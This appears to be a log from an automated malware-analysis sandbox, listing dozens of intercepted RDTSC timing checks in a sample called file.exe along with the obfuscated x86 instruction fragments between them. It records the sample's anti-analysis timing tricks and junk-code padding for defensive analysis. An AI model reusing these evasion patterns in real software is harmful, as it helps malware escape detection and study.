Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497020A second address: 497023A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B55D157D3h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B55D157D4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497023A second address: 4970250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970250 second address: 4970254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970254 second address: 4970258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970258 second address: 497025E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497025E second address: 4970270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 mov ebx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970270 second address: 4970274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970274 second address: 4970278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4970278 second address: 497027E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990778 second address: 49907B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F6B550CB116h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 mov cl, bl 0x00000014 push esi 0x00000015 pop edi 0x00000016 popad 0x00000017 movzx ecx, bx 0x0000001a popad 0x0000001b xchg eax, ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov di, si 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49907B4 second address: 49907BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49907BA second address: 49907BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49907BE second address: 4990839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [777265FCh] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F6B55D157CFh 0x00000014 sbb ch, FFFFFFFEh 0x00000017 jmp 00007F6B55D157D9h 0x0000001c popfd 0x0000001d jmp 00007F6B55D157D0h 0x00000022 popad 0x00000023 test eax, eax 0x00000025 pushad 0x00000026 pushad 0x00000027 call 00007F6B55D157CCh 0x0000002c pop esi 0x0000002d popad 0x0000002e mov ecx, 440AD77Dh 0x00000033 popad 0x00000034 je 00007F6BC8A2890Ah 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F6B55D157CFh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990923 second address: 4990973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6B550CB113h 0x00000013 adc si, 02BEh 0x00000018 jmp 00007F6B550CB119h 0x0000001d popfd 0x0000001e movzx ecx, bx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990973 second address: 499099A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ret 0x0000000c nop 0x0000000d push eax 0x0000000e call 00007F6B5A01607Eh 0x00000013 mov edi, edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6B55D157D7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499099A second address: 49909B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B550CB114h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49909B2 second address: 49909EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F6B55D157CCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F6B55D157D0h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6B55D157CAh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49909EA second address: 49909F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49909F0 second address: 49909F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49909F6 second address: 4990A37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB118h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6B550CB10Dh 0x00000014 call 00007F6B550CB110h 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990A37 second address: 4990A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990A3D second address: 4990A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990A41 second address: 4990A45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940022 second address: 4940033 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov al, dh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940033 second address: 4940062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B55D157CEh 0x00000009 sbb ecx, 1B1DDE48h 0x0000000f jmp 00007F6B55D157CBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ebx, ecx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940062 second address: 49400B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB113h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d jmp 00007F6B550CB114h 0x00000012 mov si, BAA1h 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 jmp 00007F6B550CB10Ch 0x0000001d push eax 0x0000001e pushad 0x0000001f push edi 0x00000020 movzx eax, dx 0x00000023 pop edi 0x00000024 mov cl, 26h 0x00000026 popad 0x00000027 xchg eax, ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c pop edi 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400B6 second address: 49400DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F6B55D157D8h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400DF second address: 49400E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400E3 second address: 49400FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400FF second address: 4940111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B550CB10Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940111 second address: 49401CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6B55D157D4h 0x00000013 or eax, 681E1EE8h 0x00000019 jmp 00007F6B55D157CBh 0x0000001e popfd 0x0000001f call 00007F6B55D157D8h 0x00000024 pushfd 0x00000025 jmp 00007F6B55D157D2h 0x0000002a add ah, 00000078h 0x0000002d jmp 00007F6B55D157CBh 0x00000032 popfd 0x00000033 pop esi 0x00000034 popad 0x00000035 mov ebx, dword ptr [ebp+10h] 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F6B55D157D5h 0x0000003f adc ax, E516h 0x00000044 jmp 00007F6B55D157D1h 0x00000049 popfd 0x0000004a push eax 0x0000004b pushad 0x0000004c popad 0x0000004d pop ebx 0x0000004e popad 0x0000004f xchg eax, esi 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F6B55D157CFh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49401CF second address: 49402AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6B550CB10Fh 0x00000008 pop eax 0x00000009 mov di, 60ACh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F6B550CB117h 0x00000018 sub ax, 7C5Eh 0x0000001d jmp 00007F6B550CB119h 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 pushad 0x00000026 mov dh, al 0x00000028 jmp 00007F6B550CB119h 0x0000002d popad 0x0000002e mov esi, dword ptr [ebp+08h] 0x00000031 pushad 0x00000032 call 00007F6B550CB10Ch 0x00000037 movzx ecx, di 0x0000003a pop edi 0x0000003b pushfd 0x0000003c jmp 00007F6B550CB10Ch 0x00000041 jmp 00007F6B550CB115h 0x00000046 popfd 0x00000047 popad 0x00000048 xchg eax, edi 0x00000049 jmp 00007F6B550CB10Eh 0x0000004e push eax 0x0000004f pushad 0x00000050 jmp 00007F6B550CB111h 0x00000055 push eax 0x00000056 push edx 0x00000057 call 00007F6B550CB10Eh 0x0000005c pop eax 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49402AC second address: 49402BE instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx ebx, si 0x0000000f push ecx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49402BE second address: 49402C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49402C4 second address: 4940332 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e mov eax, 5AFBE89Bh 0x00000013 movzx eax, dx 0x00000016 popad 0x00000017 je 00007F6BC8A73AF6h 0x0000001d jmp 00007F6B55D157D3h 0x00000022 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F6B55D157CBh 0x00000032 add ch, FFFFFFAEh 0x00000035 jmp 00007F6B55D157D9h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940332 second address: 4940353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B550CB10Ah 0x00000009 xor si, B028h 0x0000000e jmp 00007F6B550CB10Bh 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940353 second address: 49403A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F6BC8A73A97h 0x0000000d jmp 00007F6B55D157D4h 0x00000012 mov edx, dword ptr [esi+44h] 0x00000015 pushad 0x00000016 jmp 00007F6B55D157CEh 0x0000001b jmp 00007F6B55D157D2h 0x00000020 popad 0x00000021 or edx, dword ptr [ebp+0Ch] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49403A2 second address: 49403A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49403A6 second address: 49403C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49403C3 second address: 49403C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49308D6 second address: 49308DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49308DC second address: 4930915 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F6B550CB114h 0x0000000e mov dword ptr [esp], ebx 0x00000011 jmp 00007F6B550CB110h 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a mov esi, 213899F3h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930915 second address: 4930950 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F6B55D157D5h 0x0000000c mov cx, 5537h 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6B55D157D4h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930950 second address: 4930956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930956 second address: 493095C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 493095C second address: 49309A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6B550CB112h 0x00000010 or ecx, 45BD0BB8h 0x00000016 jmp 00007F6B550CB10Bh 0x0000001b popfd 0x0000001c mov ch, A7h 0x0000001e popad 0x0000001f mov esi, dword ptr [ebp+08h] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F6B550CB10Eh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49309A1 second address: 49309B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49309B4 second address: 49309B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49309B8 second address: 49309C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49309C6 second address: 4930A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F6B550CB116h 0x00000010 je 00007F6BC7E30AA7h 0x00000016 pushad 0x00000017 pushad 0x00000018 mov ecx, 5600E133h 0x0000001d push ecx 0x0000001e pop edx 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 mov si, B5A1h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930A03 second address: 4930A8B instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f jmp 00007F6B55D157D8h 0x00000014 mov ecx, esi 0x00000016 jmp 00007F6B55D157D0h 0x0000001b je 00007F6BC8A7B12Dh 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F6B55D157CEh 0x00000028 jmp 00007F6B55D157D5h 0x0000002d popfd 0x0000002e mov di, si 0x00000031 popad 0x00000032 test byte ptr [77726968h], 00000002h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c call 00007F6B55D157CFh 0x00000041 pop eax 0x00000042 mov bx, 0D6Ch 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930A8B second address: 4930AFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B550CB110h 0x00000009 or ecx, 6D8EC388h 0x0000000f jmp 00007F6B550CB10Bh 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jne 00007F6BC7E30A06h 0x00000020 pushad 0x00000021 mov ecx, 3D1F5491h 0x00000026 push esi 0x00000027 pushad 0x00000028 popad 0x00000029 pop ebx 0x0000002a popad 0x0000002b mov edx, dword ptr [ebp+0Ch] 0x0000002e jmp 00007F6B550CB116h 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F6B550CB117h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930AFA second address: 4930B12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B55D157D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930B12 second address: 4930B2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6B550CB10Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930B2A second address: 4930B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930B30 second address: 4930B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930C4A second address: 4930C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930C4E second address: 4930C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940CE9 second address: 4940CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940CED second address: 4940CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940CF3 second address: 4940D0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov si, C3C3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0ADE second address: 49C0AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0AE4 second address: 49C0B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F6B55D157CCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F6B55D157D0h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0B13 second address: 49C0B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C004F second address: 49C0053 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0053 second address: 49C0059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0059 second address: 49C005F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C005F second address: 49C0063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0DC9 second address: 49B0E43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F6B55D157CCh 0x00000012 jmp 00007F6B55D157D5h 0x00000017 popfd 0x00000018 pushfd 0x00000019 jmp 00007F6B55D157D0h 0x0000001e sub si, B458h 0x00000023 jmp 00007F6B55D157CBh 0x00000028 popfd 0x00000029 popad 0x0000002a mov di, si 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F6B55D157D0h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0E43 second address: 49B0E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0E49 second address: 49B0E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0E4D second address: 49B0E95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6B550CB112h 0x00000010 xor ax, 7918h 0x00000015 jmp 00007F6B550CB10Bh 0x0000001a popfd 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6B550CB115h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0E95 second address: 49B0EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B55D157CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0EA5 second address: 49B0EA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495000B second address: 4950092 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B55D157CAh 0x00000008 pushfd 0x00000009 jmp 00007F6B55D157D2h 0x0000000e or cl, FFFFFFE8h 0x00000011 jmp 00007F6B55D157CBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F6B55D157D6h 0x00000020 push eax 0x00000021 jmp 00007F6B55D157CBh 0x00000026 xchg eax, ebp 0x00000027 jmp 00007F6B55D157D6h 0x0000002c mov ebp, esp 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F6B55D157D7h 0x00000035 rdtsc
